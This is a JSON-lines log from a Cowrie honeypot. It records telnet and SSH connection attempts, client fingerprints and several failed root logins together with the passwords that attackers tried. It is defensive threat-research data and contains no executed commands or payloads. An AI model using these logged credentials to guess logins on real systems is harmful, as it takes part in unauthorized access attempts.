{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43732,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae4dcad13e2","protocol":"telnet","message":"New connection: 192.119.13.58:43732 (10.17.0.5:23) [session: 6ae4dcad13e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:18.730177Z"}
{"eventid":"cowrie.session.closed","duration":34.699580907821655,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:19.448484Z","src_ip":"192.119.13.58","session":"4d6cc6531635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46466,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a1eea84810","protocol":"telnet","message":"New connection: 192.119.13.58:46466 (10.17.0.5:23) [session: 46a1eea84810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:20.497671Z"}
{"eventid":"cowrie.session.closed","duration":43.25912308692932,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:23.403819Z","src_ip":"192.119.13.58","session":"1a474bb0366e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.615387201309204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:26.494113Z","src_ip":"192.119.13.58","session":"927c680bde1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.67594814300537,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:27.283067Z","src_ip":"192.119.13.58","session":"19e97d961d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":38982,"dst_ip":"159.203.135.109","dst_port":22,"session":"da3a2cb01afa","protocol":"ssh","message":"New connection: 69.6.222.198:38982 (159.203.135.109:22) [session: da3a2cb01afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:27.300236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:27.305394Z","src_ip":"69.6.222.198","session":"da3a2cb01afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:27.419127Z","src_ip":"69.6.222.198","session":"da3a2cb01afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artur123","message":"login attempt [root/artur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:27.905753Z","src_ip":"69.6.222.198","session":"da3a2cb01afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:29.023659Z","src_ip":"69.6.222.198","session":"da3a2cb01afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"894a0cffe300","protocol":"telnet","message":"New connection: 192.119.13.58:59742 (10.17.0.5:23) [session: 894a0cffe300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:30.005921Z"}
{"eventid":"cowrie.session.closed","duration":45.00467300415039,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:30.413135Z","src_ip":"192.119.13.58","session":"d12fc15235e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.249505043029785,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:31.226124Z","src_ip":"192.119.13.58","session":"4f4afbbea8e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e89f4dc6142","protocol":"telnet","message":"New connection: 192.119.13.58:42694 (10.17.0.5:23) [session: 0e89f4dc6142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:32.618204Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":59806,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c9fd9f141e6","protocol":"ssh","message":"New connection: 43.163.121.249:59806 (159.203.135.109:22) [session: 7c9fd9f141e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:33.857601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:33.861866Z","src_ip":"43.163.121.249","session":"7c9fd9f141e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:34.181041Z","src_ip":"43.163.121.249","session":"7c9fd9f141e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"applprod","message":"login attempt [root/applprod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:35.516140Z","src_ip":"43.163.121.249","session":"7c9fd9f141e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c55d02f8505","protocol":"ssh","message":"New connection: 103.173.227.57:44804 (10.17.0.5:22) [session: 2c55d02f8505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:35.737026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:35.741722Z","src_ip":"103.173.227.57","session":"2c55d02f8505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:35.983880Z","src_ip":"103.173.227.57","session":"2c55d02f8505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111aa","message":"login attempt [root/111111aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:36.712290Z","src_ip":"103.173.227.57","session":"2c55d02f8505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:36.845440Z","src_ip":"43.163.121.249","session":"7c9fd9f141e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.23768472671509,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:37.819774Z","src_ip":"192.119.13.58","session":"7980576c4499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:37.956900Z","src_ip":"103.173.227.57","session":"2c55d02f8505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44026,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda10222f8c0","protocol":"telnet","message":"New connection: 192.119.13.58:44026 (10.17.0.5:23) [session: cda10222f8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:39.529086Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":34542,"dst_ip":"159.203.135.109","dst_port":22,"session":"9963fc8a1841","protocol":"ssh","message":"New connection: 43.134.100.175:34542 (159.203.135.109:22) [session: 9963fc8a1841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:39.845486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:39.850876Z","src_ip":"43.134.100.175","session":"9963fc8a1841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:40.166098Z","src_ip":"43.134.100.175","session":"9963fc8a1841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opt","message":"login attempt [root/opt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:41.473943Z","src_ip":"43.134.100.175","session":"9963fc8a1841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53608,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ed7e82d0b6d","protocol":"telnet","message":"New connection: 192.119.13.58:53608 (10.17.0.5:23) [session: 3ed7e82d0b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:41.826264Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:42.794506Z","src_ip":"43.134.100.175","session":"9963fc8a1841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36908,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc66152f5591","protocol":"telnet","message":"New connection: 192.119.13.58:36908 (10.17.0.5:23) [session: bc66152f5591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:51.365222Z"}
{"eventid":"cowrie.session.closed","duration":35.29893612861633,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:51.635537Z","src_ip":"192.119.13.58","session":"532122f20ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.59674787521362,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:52.550845Z","src_ip":"192.119.13.58","session":"c8a94ffbd095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56404,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0264ca86b9c","protocol":"telnet","message":"New connection: 192.119.13.58:56404 (10.17.0.5:23) [session: d0264ca86b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:56.133471Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34012,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd751d86c1b","protocol":"telnet","message":"New connection: 192.119.13.58:34012 (10.17.0.5:23) [session: abd751d86c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:57.505991Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a13ebb13deb","protocol":"telnet","message":"New connection: 192.119.13.58:43484 (10.17.0.5:23) [session: 9a13ebb13deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:59.879539Z"}
{"eventid":"cowrie.session.closed","duration":41.154791593551636,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:57:59.884819Z","src_ip":"192.119.13.58","session":"6ae4dcad13e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57014,"dst_ip":"10.17.0.5","dst_port":23,"session":"23830c2f3700","protocol":"telnet","message":"New connection: 192.119.13.58:57014 (10.17.0.5:23) [session: 23830c2f3700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:03.259720Z"}
{"eventid":"cowrie.session.closed","duration":43.49310255050659,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:03.990508Z","src_ip":"192.119.13.58","session":"46a1eea84810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34480,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe78d88b3464","protocol":"telnet","message":"New connection: 192.119.13.58:34480 (10.17.0.5:23) [session: fe78d88b3464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:04.705599Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48342,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e2dd42b23aa","protocol":"telnet","message":"New connection: 192.119.13.58:48342 (10.17.0.5:23) [session: 3e2dd42b23aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:08.077064Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"834a3c6455f7","protocol":"telnet","message":"New connection: 192.119.13.58:52520 (10.17.0.5:23) [session: 834a3c6455f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:09.096282Z"}
{"eventid":"cowrie.session.closed","duration":37.959046840667725,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:10.577131Z","src_ip":"192.119.13.58","session":"0e89f4dc6142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.449777841567993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:10.978750Z","src_ip":"192.119.13.58","session":"cda10222f8c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24c3abf0d27","protocol":"telnet","message":"New connection: 192.119.13.58:45144 (10.17.0.5:23) [session: d24c3abf0d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:20.914005Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48676,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e3e981b635","protocol":"telnet","message":"New connection: 192.119.13.58:48676 (10.17.0.5:23) [session: 63e3e981b635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:21.780240Z"}
{"eventid":"cowrie.session.closed","duration":54.106382846832275,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:24.112188Z","src_ip":"192.119.13.58","session":"894a0cffe300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34404,"dst_ip":"10.17.0.5","dst_port":23,"session":"021384ee99ee","protocol":"telnet","message":"New connection: 192.119.13.58:34404 (10.17.0.5:23) [session: 021384ee99ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:25.148461Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35138,"dst_ip":"10.17.0.5","dst_port":23,"session":"993e3c778d52","protocol":"telnet","message":"New connection: 192.119.13.58:35138 (10.17.0.5:23) [session: 993e3c778d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:25.328419Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":37740,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a394a0adcf","protocol":"ssh","message":"New connection: 87.251.79.125:37740 (10.17.0.5:22) [session: 54a394a0adcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:25.349444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:25.356184Z","src_ip":"87.251.79.125","session":"54a394a0adcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:25.430688Z","src_ip":"87.251.79.125","session":"54a394a0adcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panzer","message":"login attempt [root/panzer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:25.652296Z","src_ip":"87.251.79.125","session":"54a394a0adcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.775397539138794,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:26.140505Z","src_ip":"192.119.13.58","session":"bc66152f5591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:26.728785Z","src_ip":"87.251.79.125","session":"54a394a0adcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.64636969566345,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:58:29.472544Z","src_ip":"192.119.13.58","session":"3ed7e82d0b6d","protocol":"telnet"}
